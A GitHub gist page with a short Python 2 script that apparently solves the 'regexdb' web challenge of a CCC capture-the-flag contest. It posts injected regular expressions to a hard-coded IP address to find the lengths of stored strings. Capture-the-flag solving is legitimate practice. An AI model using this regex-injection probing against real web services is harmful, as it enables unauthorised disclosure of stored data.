Last active
December 10, 2015 12:28
-
-
Save hhc0null/4433762 to your computer and use it in GitHub Desktop.
CCC CTF, Web100 regexdb
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python2 | |
# -*- coding: utf-8 -*- | |
import urllib | |
url = 'http://94.45.252.233/' | |
for i in range(100): # from 0 to 100. | |
params = urllib.urlencode({'input': '/(^.{'+str(i+1)+'}$)/'}) # search the length of string. | |
f = urllib.urlopen(url, params) | |
for line in f.readlines(): | |
if line.find('Results') != -1: # kichanyai... | |
print "Length of strings:%3d"%(i+1)+": "+line[16:].replace("</div>",""), # kichanyai... |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment